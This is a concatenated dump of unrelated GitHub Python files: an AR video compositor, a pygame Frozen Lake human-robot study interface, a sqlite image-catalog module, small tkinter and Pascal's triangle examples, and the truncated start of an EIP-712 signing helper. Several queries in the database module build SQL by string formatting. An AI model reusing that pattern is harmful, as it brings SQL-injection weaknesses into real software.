in range(len(new_source)):\n # f1 = ar_source[i%ar_source_frames, :, :, :]\n # f2 = book[i, :, :, :]\n # f2 = np.squeeze(f2)\n # ar_source_crop = f1[:, int((ar_source_width-book_width)/2):int((ar_source_width+book_width)/2)]\n args.append([new_source[i], cv_cover, book[i]])\n p = multiprocessing.Pool(processes=multiprocessing.cpu_count())\n ar = p.map(homography_warp, args)\n p.close()\n p.join() \n ar = np.array(ar)\n writer = cv2.VideoWriter('./result/ar.avi', cv2.VideoWriter_fourcc(*'MJPG'), 25, (ar.shape[2], ar.shape[1]))\n for i, f in enumerate(ar):\n writer.write(f)\n\n writer.release() \n # cv2.imshow('c', ar_source_crop)\n # cv2.imshow('f', composite_img)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n main()\n ","repo_name":"Bernard3073/Augmented-Reality-with-Planar-Homographies","sub_path":"python/ar.py","file_name":"ar.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71805592723","text":"from frozen_lake.frozen_lake_env import FrozenLakeEnv\nfrom frozen_lake.solver import *\nfrom frozen_lake.root_node import *\nfrom frozen_lake.robot_action_node import *\nfrom frozen_lake.human_action_node import *\nimport time\nimport pygame\nimport string\nimport json\nimport os\nfrom typing import Optional\n\n\norder = [4, 8, 6]\nheuristic_order = [0, 1] # First one is the order of interrupting agent, second is the order of taking control agent.\nrandom.shuffle(heuristic_order)\nCONDITION = {\n 'practice': [0, 1, 2, 3],\n 'pomcp': [order[0], order[0] + 1],\n 'pomcp_inverse': [order[1], order[1] + 1],\n 'interrupt': [order[2] + heuristic_order[0]],\n 'take_control': [order[2] + heuristic_order[1]]\n}\n\nclass FrozenLakeEnvInterface(FrozenLakeEnv):\n metadata = {\n \"render_modes\": [\"human\", \"ansi\", \"rgb_array\"],\n \"render_fps\": 4,\n }\n\n def render(self, round_num, human_action, robot_action, world_state, end_detecting=0, truncated=False,\n timeout=False):\n window_width = self.window_size[0]\n window_height = self.window_size[1]\n map_size = self.window_size[0] - 256*2\n if robot_action:\n robot_type, robot_direction = robot_action\n else:\n robot_type, robot_direction = None, None\n if human_action:\n _, detecting, human_direction = human_action\n else:\n detecting, human_direction = None, None\n position, last_position, human_slippery, robot_slippery, human_err, robot_err = world_state\n\n class TextBox(pygame.sprite.Sprite):\n def __init__(self, surface):\n pygame.sprite.Sprite.__init__(self)\n self.initFont()\n self.initImage(surface)\n self.initGroup()\n\n def initFont(self):\n pygame.font.init()\n self.font = pygame.font.Font(pygame.font.match_font('calibri'), 20)\n self.font_bold = pygame.font.Font(pygame.font.match_font('calibri', bold=True), 20)\n\n def initImage(self, surface):\n self.image = surface\n self.ncol = 8\n self.system_rect = pygame.Rect(0, 0, 256, map_size)\n self.robot_rect = pygame.Rect(256 + map_size, 0, 256, map_size)\n self.image.fill((255, 255, 255), rect=self.system_rect)\n self.image.fill((255, 255, 255), rect=self.robot_rect)\n self.system_top = map_size / 2\n self.robot_top = 100\n self.robot_left = map_size + 256\n self.system_left = map_size + 256\n\n def setText(self, robot=None, system=None):\n tmp = pygame.display.get_surface()\n\n if system is not None:\n x_pos = self.system_left + 5\n y_pos = self.system_top + 5\n x = self.font_bold.render(\"System:\", True, (0, 0, 0))\n tmp.blit(x, (x_pos, y_pos))\n y_pos += 20\n words = system.split(' ')\n for t in words:\n # print(t, x_pos)\n if t == 'NOT':\n x = self.font.render(t + \" \", True, (255, 0, 0))\n elif t in [\"ENTER\", \"SPACE\", \"BACKSPACE\"]:\n x = self.font_bold.render(t + \" \", True, (0, 0, 0))\n else:\n x = self.font.render(t + \" \", True, (0, 0, 0))\n if x_pos + x.get_width() < self.image.get_width() - 5:\n tmp.blit(x, (x_pos, y_pos))\n x_pos += x.get_width()\n else:\n x_pos = self.system_left + 5\n y_pos += 20\n tmp.blit(x, (x_pos, y_pos))\n x_pos += x.get_width()\n pygame.draw.line(tmp, (0, 0, 0), (self.robot_left, self.system_top),\n (self.robot_left + 256, self.system_top))\n\n if robot is not None:\n x_pos = self.robot_left + 5\n y_pos = self.robot_top + 5\n x = self.font_bold.render(\"Robot:\", True, (0, 0, 0))\n tmp.blit(x, (x_pos, y_pos))\n y_pos += 20\n words = robot.split(' ')\n for t in words:\n if t == 'n':\n x = self.font.render(\"\", True, (0, 0, 0))\n x_pos = self.robot_left + 5\n y_pos += 36\n elif t not in [\"slippery\", \"region.\", \"hole.\", \"longer\", \"way.\"]:\n x = self.font.render(t + \" \", True, (0, 0, 0))\n else:\n x = self.font_bold.render(t + \" \", True, (0, 0, 0))\n if x_pos + x.get_width() < self.image.get_width() - 5:\n tmp.blit(x, (x_pos, y_pos))\n x_pos += x.get_width()\n else:\n x_pos = self.robot_left + 5\n y_pos += 20\n tmp.blit(x, (x_pos, y_pos))\n x_pos += x.get_width()\n\n def initGroup(self):\n self.group = pygame.sprite.GroupSingle()\n self.group.add(self)\n\n if self.window_surface is None:\n pygame.init()\n pygame.display.init()\n pygame.display.set_caption(\"Frozen Lake\")\n self.window_surface = pygame.display.set_mode(self.window_size)\n\n assert (\n self.window_surface is not None\n ), \"Something went wrong with pygame. This should never happen.\"\n\n if self.clock is None:\n self.clock = pygame.time.Clock()\n if self.hole_img is None:\n file_name = os.path.join(os.getcwd(), \"frozen_lake/img/hole_new.png\")\n self.hole_img = pygame.transform.scale(\n pygame.image.load(file_name), self.cell_size\n )\n if self.cracked_hole_img is None:\n file_name = os.path.join(os.getcwd(), \"frozen_lake/img/cracked_hole_1.png\")\n self.cracked_hole_img = pygame.transform.scale(\n pygame.image.load(file_name), self.cell_size\n )\n if self.goal_img is None:\n file_name = os.path.join(os.getcwd(), \"frozen_lake/img/goal.png\")\n self.goal_img = pygame.transform.scale(\n pygame.image.load(file_name), self.cell_size\n )\n if self.start_img is None:\n file_name = os.path.join(os.getcwd(), \"frozen_lake/img/stool.png\")\n self.start_img = pygame.transform.scale(\n pygame.image.load(file_name), self.cell_size\n )\n if self.elf_images is None:\n elfs = [\n os.path.join(os.getcwd(), \"frozen_lake/img/robot{}.png\".format(int(round_num / 2))),\n os.path.join(os.getcwd(), \"frozen_lake/img/robot{}.png\".format(int(round_num / 2))),\n os.path.join(os.getcwd(), \"frozen_lake/img/robot{}.png\".format(int(round_num / 2))),\n os.path.join(os.getcwd(), \"frozen_lake/img/robot{}.png\".format(int(round_num / 2))),\n ]\n self.elf_images = [\n pygame.transform.scale(pygame.image.load(f_name), self.cell_size)\n for f_name in elfs\n ]\n\n if self.fog_img is None:\n file_name = os.path.join(os.getcwd(), \"frozen_lake/img/ice.png\")\n self.fog_img = pygame.transform.scale(\n pygame.image.load(file_name), self.cell_size\n )\n\n if self.smoke_img is None:\n file_name = os.path.join(os.getcwd(), \"frozen_lake/img/steam_2.png\")\n self.smoke_img = pygame.transform.scale(\n pygame.image.load(file_name), self.cell_size\n )\n\n if self.slippery_img is None:\n file_name = os.path.join(os.getcwd(), \"frozen_lake/img/slippery_1.png\")\n self.slippery_img = pygame.transform.scale(\n pygame.image.load(file_name), self.cell_size\n )\n\n desc = self.desc.tolist()\n foggy = self.fog.tolist()\n\n for y in range(self.nrow):\n for x in range(self.ncol):\n pos = (x * self.cell_size[0] + 256, y * self.cell_size[1])\n rect = (*pos, *self.cell_size)\n\n if foggy[y][x] == b\"F\":\n self.window_surface.blit(self.fog_img, pos)\n else:\n self.window_surface.fill((255, 255, 255), rect=rect)\n if (y, x) in human_slippery:\n self.window_surface.blit(self.slippery_img, pos)\n if foggy[y][x] == b\"F\":\n self.window_surface.blit(self.smoke_img, pos)\n if desc[y][x] == b\"H\":\n self.window_surface.blit(self.hole_img, pos)\n elif desc[y][x] == b\"G\":\n self.window_surface.blit(self.goal_img, pos)\n elif desc[y][x] == b\"B\":\n self.window_surface.blit(self.start_img, pos)\n\n pygame.draw.rect(self.window_surface, (180, 200, 230), rect, 1)\n\n\n # Add legend\n self.window_surface.fill((255, 255, 255), rect=(0, map_size, window_width, window_height-map_size))\n pygame.draw.line(self.window_surface, (0, 0, 0), (0, map_size),\n (window_width, map_size))\n pygame.font.init()\n font_bold = pygame.font.Font(pygame.font.match_font('calibri', bold=True), 25)\n x = font_bold.render(\"Legend\", True, (0, 0, 0))\n self.window_surface.blit(x, (10, map_size+20))\n\n # Ice\n left_pos = 10 + x.get_width() + 20\n top_pos = map_size + 20\n font = pygame.font.Font(pygame.font.match_font('calibri'), 25)\n x = font.render(\"Non-fog\", True, (0, 0, 0))\n self.window_surface.blit(x, (left_pos, top_pos))\n self.window_surface.blit(self.smoke_img, (left_pos + x.get_width() + 5, top_pos))\n pygame.draw.rect(self.window_surface, (180, 200, 230), ((left_pos + x.get_width() + 5, top_pos), self.cell_size), 1)\n\n # Fog\n font = pygame.font.Font(pygame.font.match_font('calibri'), 25)\n x = font.render(\" Fog\", True, (0, 0, 0))\n self.window_surface.blit(x, (left_pos, top_pos + 120))\n self.window_surface.blit(self.fog_img, (left_pos + x.get_width() + 5, top_pos + 120))\n pygame.draw.rect(self.window_surface, (180, 200, 230), ((left_pos + x.get_width() + 5, top_pos + 120), self.cell_size), 1)\n\n # Slippery\n left_pos += 120 + x.get_width()\n font = pygame.font.Font(pygame.font.match_font('calibri'), 25)\n x = font.render(\"Slippery\", True, (0, 0, 0))\n self.window_surface.blit(x, (left_pos, top_pos))\n x_p = font.render(\"(No fog)\", True, (0, 0, 0))\n self.window_surface.blit(x_p, (left_pos, top_pos + x.get_height()))\n self.window_surface.blit(self.slippery_img, (left_pos + x.get_width() + 5, top_pos))\n pygame.draw.rect(self.window_surface, (180, 200, 230), ((left_pos + x.get_width() + 5, top_pos), self.cell_size), 1)\n\n x = font.render(\"Slippery\", True, (0, 0, 0))\n self.window_surface.blit(x, (left_pos, top_pos + 120))\n x_p = font.render(\"(Fog)\", True, (0, 0, 0))\n self.window_surface.blit(x_p, (left_pos, top_pos + x.get_height() + 120))\n self.window_surface.blit(self.slippery_img, (left_pos + x.get_width() + 5, top_pos + 120))\n self.window_surface.blit(self.smoke_img, (left_pos + x.get_width() + 5, top_pos + 120))\n pygame.draw.rect(self.window_surface, (180, 200, 230), ((left_pos + x.get_width() + 5, top_pos+120), self.cell_size), 1)\n\n # Hole\n left_pos += 120 + x.get_width()\n font = pygame.font.Font(pygame.font.match_font('calibri'), 25)\n x = font.render(\"Hole\", True, (0, 0, 0))\n self.window_surface.blit(x, (left_pos, top_pos))\n self.window_surface.blit(self.hole_img, (left_pos + x.get_width() + 5, top_pos))\n pygame.draw.rect(self.window_surface, (180, 200, 230), ((left_pos + x.get_width() + 5, top_pos), self.cell_size), 1)\n\n # Goal\n left_pos += 120 + x.get_width()\n font = pygame.font.Font(pygame.font.match_font('calibri'), 25)\n x = font.render(\"Goal\", True, (0, 0, 0))\n self.window_surface.blit(x, (left_pos, top_pos))\n self.window_surface.blit(self.goal_img, (left_pos + x.get_width() + 5, top_pos))\n\n # paint the elf\n bot_row, bot_col = position // self.ncol, position % self.ncol\n cell_rect = (bot_col * self.cell_size[0] + 256, bot_row * self.cell_size[1])\n last_action = human_direction\n elf_img = self.elf_images[0]\n\n # Robot notification\n textbox = TextBox(self.window_surface)\n ACTIONS = [\"LEFT\", \"DOWN\", \"RIGHT\", \"UP\"]\n human_action_name = None\n robot_action_name = None\n if last_action != None:\n human_action_name = ACTIONS[last_action]\n if robot_direction != None:\n robot_action_name = ACTIONS[robot_direction]\n if timeout:\n # self.window_surface.blit(elf_img, cell_rect)\n textbox.setText(\n system=\"You've run out of the step number. You failed. Please finish the survey and ask the experimenter to start a new game.\")\n elif detecting and human_direction is None:\n self.window_surface.blit(elf_img, cell_rect)\n textbox.setText(system=\"You're entering detection mode. Press arrow keys to check the surrounding grids.\")\n elif end_detecting == 1:\n self.window_surface.blit(elf_img, cell_rect)\n textbox.setText(system=\"You're exiting detection mode and back to navigation mode.\")\n elif end_detecting == 2:\n self.window_surface.blit(elf_img, cell_rect)\n textbox.setText(system=\"You're out of attempts for using the detection sensor. Press BACKSPACE again to exit detection mode.\")\n elif detecting:\n self.window_surface.blit(elf_img, cell_rect)\n s = self.move(position, human_direction)\n if desc[s // self.ncol][s % self.ncol] in b'SH':\n is_slippery = True\n else:\n is_slippery = False\n left = (s % self.ncol) * self.cell_size[0] + 256\n top = (s // self.ncol) * self.cell_size[1]\n if is_slippery:\n pygame.draw.rect(self.window_surface, (255, 0, 0),\n pygame.Rect(left, top, self.cell_size[0], self.cell_size[1]), 4)\n\n textbox.setText(\n system=\"The region you're detecting is NOT safe! Press BACKSPACE again to exit detection mode.\")\n else:\n pygame.draw.rect(self.window_surface, (0, 255, 0),\n pygame.Rect(left, top, self.cell_size[0], self.cell_size[1]), 4)\n\n textbox.setText(\n system=\"The region you're detecting is safe. Press BACKSPACE again to exit detection mode.\")\n else:\n if robot_type == 1: # interrupt\n system_prompt = \"Press ENTER and then make your next choice.\"\n robot_prompt = \"Your last choice was {}. I chose to stay. Please choose an action again.\".format(\n human_action_name)\n\n elif robot_type == 2: # control\n system_prompt = \"Press ENTER and then make your next choice.\"\n robot_prompt = \"Your last choice was {}. My action was {}.\".format(\n human_action_name, robot_action_name)\n\n elif robot_type == 3: # interrupt_w_explain\n last_row = last_position // self.ncol\n last_col = last_position % self.ncol\n if (desc[last_row][last_col] in b'S' and (\n (last_row, last_col) not in self.robot_err or ((last_row, last_col) in robot_err))) or \\\n (desc[last_row][last_col] in b'F' and (\n (last_row, last_col) in self.robot_err and ((last_row, last_col) not in robot_err))):\n system_prompt = \"Press ENTER and then make your next choice.\"\n robot_prompt = \"Your last choice was {}. I chose to stay. n Going {} might step into a slippery region. \" \\\n \"Please choose an action again. \".format(\n human_action_name, human_action_name)\n elif desc[last_row][last_col] in b'H':\n system_prompt = \"Press ENTER and then make your next choice.\"\n robot_prompt = \"Your last choice was {}. I chose to stay. n Going {} will step into a hole. \" \\\n \"Please choose an action again. \".format(\n human_action_name, human_action_name)\n else:\n system_prompt = \"Press ENTER and then make your next choice.\"\n robot_prompt = \"Your last choice was {}. I chose to stay. n Going {} might take a longer way. \" \\\n \"Please choose an action again.\".format(\n human_action_name, human_action_name)\n\n elif robot_type == 4: # control_w_explain\n last_row = last_position // self.ncol\n last_col = last_position % self.ncol\n if (desc[last_row][last_col] in b'S' and ((last_row, last_col) not in self.robot_err or ((last_row, last_col) in robot_err))) or \\\n (desc[last_row][last_col] in b'F' and ((last_row, last_col) in self.robot_err and ((last_row, last_col) not in robot_err))):\n system_prompt = \"Press ENTER and then make your next choice.\"\n robot_prompt = \"Robot: Your last choice was {}. My action was {}. n Going {} might step into a slippery region. \".format(\n human_action_name, robot_action_name, human_action_name)\n elif desc[last_row][last_col] in b'H':\n system_prompt = \"Press ENTER and then make your next choice.\"\n robot_prompt = \"Your last choice was {}. My action was {}. n Going {} will step into a hole. \".format(\n human_action_name, robot_action_name, human_action_name)\n else:\n system_prompt = \"Press ENTER and then make your next choice.\"\n robot_prompt = \"Your last choice was {}. My action was {}. n Going {} might take a longer way. \".format(\n human_action_name, robot_action_name, human_action_name)\n\n else:\n robot_prompt = \"Your last choice was {}. I followed your choice.\".format(human_action_name)\n\n if truncated:\n last_row, last_col = last_position // self.ncol, last_position % self.ncol\n if robot_type == 0:\n hole_row, hole_col = last_row, last_col\n else:\n hole_row, hole_col = self.inc(last_row, last_col, robot_direction)\n last_cell_rect = (hole_col * self.cell_size[0] + 256, hole_row * self.cell_size[1])\n if desc[hole_row][hole_col] in b\"H\":\n last_cell_rect = (hole_col * self.cell_size[0] + 256, hole_row * self.cell_size[1])\n print(hole_row, hole_col)\n else:\n for r in [-1, 0, 1]:\n for c in [-1, 0, 1]:\n hole_row = last_row + r\n hole_col = last_col + c\n if 0 <= hole_row < self.ncol and 0 <= hole_col < self.ncol:\n if desc[hole_row][hole_col] in b'H':\n last_cell_rect = (hole_col * self.cell_size[0] + 256, hole_row * self.cell_size[1])\n print(hole_row, hole_col)\n break\n self.window_surface.blit(self.cracked_hole_img, last_cell_rect)\n if round_num in CONDITION['practice']:\n system_prompt = \"You failed. Please press ENTER to restart.\"\n robot_prompt = \"Your last choice was {}. I followed your choice. I slipped into a hole.\".format(\n human_action_name, robot_action_name)\n textbox.setText(robot=robot_prompt, system=system_prompt)\n self.window_surface.blit(self.elf_images[0], (256 + map_size, 0))\n elif robot_type in [2, 4]: # taking control\n system_prompt = \"You failed. Please press ENTER to restart.\"\n robot_prompt = \"Your last choice was {}. My action was {}. I slipped into a hole.\".format(\n human_action_name, robot_action_name)\n textbox.setText(robot=robot_prompt, system=system_prompt)\n self.window_surface.blit(self.elf_images[0], (256 + map_size, 0))\n else:\n system_prompt = \"You failed. Please press ENTER to restart.\"\n robot_prompt = \"Your last choice was {}. I followed your choice. I slipped into a hole.\".format(\n human_action_name)\n textbox.setText(robot=robot_prompt, system=system_prompt)\n self.window_surface.blit(self.elf_images[0], (256 + map_size, 0))\n\n elif desc[bot_row][bot_col] == b\"G\":\n if round_num in CONDITION['practice']:\n system_prompt = \"You successfully reached the goal.Please ask the experimenter to start a new game.\"\n robot_prompt = \"Your last choice was {}. I followed your choice.\".format(\n human_action_name)\n textbox.setText(robot=robot_prompt, system=system_prompt)\n self.window_surface.blit(self.elf_images[0], (256 + map_size, 0))\n elif robot_type == 2 or robot_type == 4:\n system_prompt = \"You successfully reached the goal.Please ask the experimenter to start a new game.\"\n if human_action_name == robot_action_name:\n robot_prompt = \"Your last choice was {}. I followed your choice.\".format(\n human_action_name, robot_action_name)\n else:\n robot_prompt = \"Your last choice was {}. My action was {}.\".format(\n human_action_name, robot_action_name)\n textbox.setText(robot=robot_prompt, system=system_prompt)\n self.window_surface.blit(self.elf_images[0], (256 + map_size, 0))\n else:\n system_prompt = \"You successfully reached the goal.Please ask the experimenter to start a new game.\"\n robot_prompt = \"Your last choice was {}. I followed your choice.\".format(\n human_action_name)\n textbox.setText(robot=robot_prompt, system=system_prompt)\n self.window_surface.blit(self.elf_images[0], (256 + map_size, 0))\n else:\n if not timeout:\n self.window_surface.blit(elf_img, cell_rect)\n if robot_type:\n textbox.setText(robot=robot_prompt, system=system_prompt)\n self.window_surface.blit(self.elf_images[0], (256 + map_size, 0))\n elif human_direction != None:\n textbox.setText(\n robot=\"Your last choice was {}. I followed your choice.\".format(human_action_name))\n self.window_surface.blit(self.elf_images[0], (256 + map_size, 0))\n else:\n textbox.setText()\n\n pygame.display.update()\n self.clock.tick(self.metadata[\"render_fps\"])\n\n def reset(\n self,\n *,\n seed: Optional[int] = None,\n options: Optional[dict] = None,\n round_num = 0\n ):\n super().reset()\n\n self.render(round_num, None, None, self.world_state)\n return self.world_state\n\n def close(self):\n if self.window_surface is not None:\n pygame.display.quit()\n pygame.quit()","repo_name":"ManishaNatarajan/Frozen-Lake","sub_path":"frozen_lake/frozen_lake_interface.py","file_name":"frozen_lake_interface.py","file_ext":"py","file_size_in_byte":24557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74859899920","text":"import sys\nimport sqlite3\n\nfrom loguru import logger\nfrom pathlib import Path\n\n\ndef database_connect(name):\n path = Path(name)\n if path.is_file():\n try:\n connection = sqlite3.connect(name)\n except sqlite3.OperationalError as error:\n logger.error(error)\n return None\n return connection\n else:\n return None\n\n\ndef database_disconnect(connection):\n connection.close()\n\n\ndef database_initialize(name, prog_dirname):\n path = Path(name)\n if path.is_file():\n logger.warning(\"database %s already exists. Cowardly refusing action.\" % name)\n else:\n create_statement_fqfn = prog_dirname + \"/lib/initialize-image-catalog.sql\"\n create_statement_file_path = Path(create_statement_fqfn)\n if create_statement_file_path.is_file():\n db_init_file = open(create_statement_fqfn)\n create_statement = db_init_file.read()\n db_init_file.close()\n else:\n logger.error(\"Template initialize-image-catalog.sql not found\")\n raise SystemExit(1)\n\n try:\n connection = sqlite3.connect(name)\n except sqlite3.OperationalError as error:\n logger.error(error)\n database_cursor = connection.cursor()\n try:\n database_cursor.execute(create_statement)\n except Exception as error:\n logger.error('create table failed with the following error \"%s\"' % error)\n\n connection.close()\n logger.info(\"New database created under %s\" % name)\n\n# def db_get_last_checksum_fedora(connection, distribution):\n# try:\n# database_cursor = connection.cursor()\n# database_cursor.execute(\n# \"SELECT checksum FROM image_catalog \"\n# \"WHERE distribution_name = '%s' \"\n# \"ORDER BY id DESC LIMIT 1\" % distribution\n# )\n# except sqlite3.OperationalError as error:\n# logger.error(error)\n# raise SystemExit(1)\n\n# row = database_cursor.fetchone()\n\n# if row is None:\n# logger.debug(\"no previous entries found\")\n# last_checksum = \"sha256:none\"\n# else:\n# last_checksum = row[0]\n\n# database_cursor.close()\n\n# return last_checksum\n\ndef db_get_last_checksum(connection, distribution, release):\n try:\n database_cursor = connection.cursor()\n if release == \"all\":\n database_cursor.execute(\n \"SELECT checksum FROM image_catalog \"\n \"WHERE distribution_name = '%s' \"\n \"ORDER BY id DESC LIMIT 1\" % distribution\n )\n else:\n database_cursor.execute(\n \"SELECT checksum FROM image_catalog \"\n \"WHERE distribution_name = '%s' \"\n \"AND distribution_release = '%s' \"\n \"ORDER BY id DESC LIMIT 1\" % (distribution, release)\n )\n except sqlite3.OperationalError as error:\n logger.error(error)\n raise SystemExit(1)\n\n row = database_cursor.fetchone()\n\n if row is None:\n logger.debug(\"no previous entries found\")\n last_checksum = \"sha256:none\"\n else:\n last_checksum = row[0]\n\n database_cursor.close()\n\n return last_checksum\n\n\ndef db_get_last_entry(connection, distribution, release):\n return db_get_release_versions(connection, distribution, release, 1)\n\n\ndef db_get_release_versions(connection, distribution, release, limit):\n\n logger.debug(\"distribution: \" + distribution + \" release: \" + release + \" limit: \" + str(limit))\n try:\n database_cursor = connection.cursor()\n if release == \"all\":\n database_cursor.execute(\n \"SELECT name, release_date, version, distribution_name, \"\n \"distribution_release, url, checksum FROM image_catalog \"\n \"WHERE distribution_name = '%s'\"\n \"ORDER BY id DESC LIMIT %d\" % (distribution, limit)\n )\n else:\n database_cursor.execute(\n \"SELECT name, release_date, version, distribution_name, \"\n \"distribution_release, url, checksum FROM image_catalog \"\n \"WHERE distribution_name = '%s' AND distribution_release = '%s' \"\n \"ORDER BY id DESC LIMIT %d\" % (distribution, release, limit)\n )\n except sqlite3.OperationalError as error:\n logger.error(error)\n sys.exit(1)\n row = database_cursor.fetchone()\n\n if row is not None:\n last_entry = {}\n last_entry[\"name\"] = row[0]\n last_entry[\"release_date\"] = row[1]\n last_entry[\"version\"] = row[2]\n last_entry[\"distribution_name\"] = row[3]\n last_entry[\"distribution_version\"] = row[4]\n last_entry[\"url\"] = row[5]\n last_entry[\"checksum\"] = row[6]\n\n database_cursor.close()\n\n return last_entry\n else:\n # or empty dict?\n return None\n\n\ndef read_version_from_catalog(connection, distribution, release, version):\n try:\n database_cursor = connection.cursor()\n if release == \"all\":\n database_cursor.execute(\n \"SELECT version,checksum,url,release_date \"\n \"FROM (SELECT * FROM image_catalog \"\n \"WHERE distribution_name = '%s' \"\n \"AND version ='%s' \"\n \"ORDER BY id DESC LIMIT 1) \"\n \"ORDER BY ID\" % (distribution, version)\n )\n else:\n database_cursor.execute(\n \"SELECT version,checksum,url,release_date \"\n \"FROM (SELECT * FROM image_catalog \"\n \"WHERE distribution_name = '%s' \"\n \"AND distribution_release = '%s' \"\n \"AND version ='%s' \"\n \"ORDER BY id DESC LIMIT 1) \"\n \"ORDER BY ID\" % (distribution, release, version)\n )\n except sqlite3.OperationalError as error:\n logger.error(error)\n raise SystemExit(1)\n\n image_catalog = {}\n image_catalog[\"versions\"] = {}\n\n for image in database_cursor.fetchall():\n version = image[0]\n image_catalog[\"versions\"][version] = {}\n image_catalog[\"versions\"][version][\"checksum\"] = image[1]\n image_catalog[\"versions\"][version][\"url\"] = image[2]\n image_catalog[\"versions\"][version][\"release_date\"] = image[3]\n\n return image_catalog\n\n\ndef write_catalog_entry(connection, update):\n try:\n database_cursor = connection.cursor()\n database_cursor.execute(\n \"INSERT INTO image_catalog \"\n \"(name, release_date, version, distribution_name, \"\n \"distribution_release, url, checksum) \"\n \"VALUES (?,?,?,?,?,?,?)\",\n (\n update[\"name\"],\n update[\"release_date\"],\n update[\"version\"],\n update[\"distribution_name\"],\n update[\"distribution_release\"],\n update[\"url\"],\n update[\"checksum\"],\n ),\n )\n connection.commit()\n except sqlite3.OperationalError as error:\n logger.error(error)\n raise SystemExit(1)\n\n database_cursor.close()\n\n return None\n\n\ndef update_catalog_entry(connection, update):\n try:\n database_cursor = connection.cursor()\n database_cursor.execute(\n \"UPDATE image_catalog set url=?, checksum=? \" \"WHERE name=? AND version=?\",\n (update[\"url\"], update[\"checksum\"], update[\"name\"], update[\"version\"]),\n )\n connection.commit()\n except sqlite3.OperationalError as error:\n logger.error(error)\n raise SystemExit(1)\n\n database_cursor.close()\n\n return None\n\n\ndef write_or_update_catalog_entry(connection, update):\n existing_entry = read_version_from_catalog(\n connection,\n update[\"distribution_name\"],\n update[\"distribution_release\"],\n update[\"version\"],\n )\n\n if update[\"version\"] in existing_entry[\"versions\"]:\n if \"Fedora\" in update[\"name\"] :\n logger.info(\"Updating release \" + update[\"distribution_release\"])\n else:\n logger.info(\"Updating version \" + update[\"version\"])\n return update_catalog_entry(connection, update)\n else:\n return write_catalog_entry(connection, update)\n\n\ndef read_release_from_catalog(connection, distribution, release, limit):\n try:\n database_cursor = connection.cursor()\n if release == \"all\":\n database_cursor.execute(\n \"SELECT version,checksum,url,release_date,distribution_release \"\n \"FROM (SELECT * FROM image_catalog \"\n \"WHERE distribution_name = '%s' \"\n \"ORDER BY id DESC LIMIT %d) \"\n \"ORDER BY ID\" % (distribution, limit)\n )\n else:\n database_cursor.execute(\n \"SELECT version,checksum,url,release_date,distribution_release \"\n \"FROM (SELECT * FROM image_catalog \"\n \"WHERE distribution_name = '%s' \"\n \"AND distribution_release = '%s' \"\n \"ORDER BY id DESC LIMIT %d) \"\n \"ORDER BY ID\" % (distribution, release, limit)\n )\n except sqlite3.OperationalError as error:\n logger.error(error)\n raise SystemExit(1)\n\n image_catalog = {}\n image_catalog[\"versions\"] = {}\n\n for image in database_cursor.fetchall():\n version = image[0]\n image_catalog[\"versions\"][version] = {}\n image_catalog[\"versions\"][version][\"checksum\"] = image[1]\n image_catalog[\"versions\"][version][\"url\"] = image[2]\n image_catalog[\"versions\"][version][\"release_date\"] = image[3]\n image_catalog[\"versions\"][version][\"distribution_release\"] = image[4]\n\n return image_catalog\n","repo_name":"pluscloudopen/openstack-image-crawler","sub_path":"crawler/core/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":9749,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"26455959739","text":"from tkinter import *\n\nwindow=Tk()\nftop=Frame(window)\nftop.pack()\nfbot = Frame(window)\nfbot.pack(side=BOTTOM)\nlb1=Label(ftop,text=\"I am harsh\")\nlb2=Label(ftop,text=\"i work on python\")\nlb3=Label(fbot,text=\"what are you waiting for\")\nlb1.pack(side=LEFT)\nlb2.pack(side=RIGHT)\nlb3.pack()\n\nwindow.mainloop()\n#end of program","repo_name":"Harsh200/pythontkinter","sub_path":"frames.py","file_name":"frames.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"72384162000","text":"def get_magic_triangle(n):\n triagnle = [[1], [1, 1]]\n for row in range(2, n):\n new_row = []\n for col in range(0, row + 1):\n if col - 1 < 0:\n new_row.append(1)\n elif col >= len(triagnle[row - 1]):\n new_row.append(1)\n else:\n upper_left = triagnle[row - 1][col - 1]\n upper_right = triagnle[row - 1][col]\n new_value = upper_left + upper_right\n new_row.append(new_value)\n triagnle.append(new_row)\n return triagnle\n\n\nprint(get_magic_triangle(5))\n","repo_name":"dechevh/Python-Advanced","sub_path":"Exam-Preparation/pascal's_triangle.py","file_name":"pascal's_triangle.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74637609362","text":"from binascii import a2b_hex\nfrom py_eth_sig_utils import signing\n\n_EIP712_SIG_LEN = 32 + 32 + 1\n\n\ndef _create_eip712_channel_open(chainId: int, verifyingContract: bytes, ctype: int, openedAt: int,\n marketId: bytes, channelId: bytes, actor: bytes, delegate: bytes,\n marketmaker: bytes, recipient: bytes, amount: int) -> dict:\n \"\"\"\n\n :param chainId:\n :param verifyingContract:\n :param ctype:\n :param openedAt:\n :param marketId:\n :param channelId:\n :param actor:\n :param delegate:\n :param marketmaker:\n :param recipient:\n :param amount:\n :return:\n \"\"\"\n assert type(chainId) == int\n assert type(verifyingContract) == bytes and len(verifyingContract) == 20\n assert type(ctype) == int\n assert type(openedAt) == int\n assert type(marketId) == bytes and len(marketId) == 16\n assert type(channelId) == bytes and len(channelId) == 16\n assert type(actor) == bytes and len(actor) == 20\n assert type(delegate) == bytes and len(delegate) == 20\n assert type(marketmaker) == bytes and len(marketmaker) == 20\n assert type(recipient) == bytes and len(recipient) == 20\n assert type(amount) == int\n\n data = {\n 'types': {\n 'EIP712Domain': [\n {\n 'name': 'name',\n 'type': 'string'\n },\n {\n 'name': 'version',\n 'type': 'string'\n },\n ],\n 'EIP712ChannelOpen': [{\n 'name': 'chainId',\n 'type': 'uint256'\n }, {\n 'name': 'verifyingContract',\n 'type': 'address'\n }, {\n 'name': 'ctype',\n 'type': 'uint8'\n }, {\n 'name': 'openedAt',\n 'type': 'uint256'\n }, {\n 'name': 'marketId',\n 'type': 'bytes16'\n }, {\n 'name': 'channelId',\n 'type': 'bytes16'\n }, {\n 'name': 